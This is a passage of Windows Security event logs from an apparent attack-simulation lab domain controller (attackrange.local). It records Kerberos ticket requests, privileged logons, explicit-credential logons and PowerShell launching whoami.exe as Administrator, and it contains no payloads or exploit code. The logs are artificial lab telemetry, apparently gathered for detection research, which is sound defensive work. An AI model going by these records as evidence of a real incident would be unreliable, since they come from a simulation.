{A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253794 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x593D6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49712 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253793 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x593D6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253792 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x59322 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49711 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253791 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59322 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253790 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x591EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49709 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253789 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x591EA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253788 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253787 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x590A2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49708 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253786 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x590A2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253785 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64E61 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253894 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253893 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x61691 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253892 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64E61 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253891 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64E61 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253890 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253889 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253888 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253887 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64C27 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253886 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64C27 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253885 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x64C27 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253884 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253883 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {52A312D8-8FF5-14FF-068F-626A1EDAD62A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253882 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253881 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6201C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253880 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x125c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253939 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6D217 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253938 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6D217 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 52795 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such 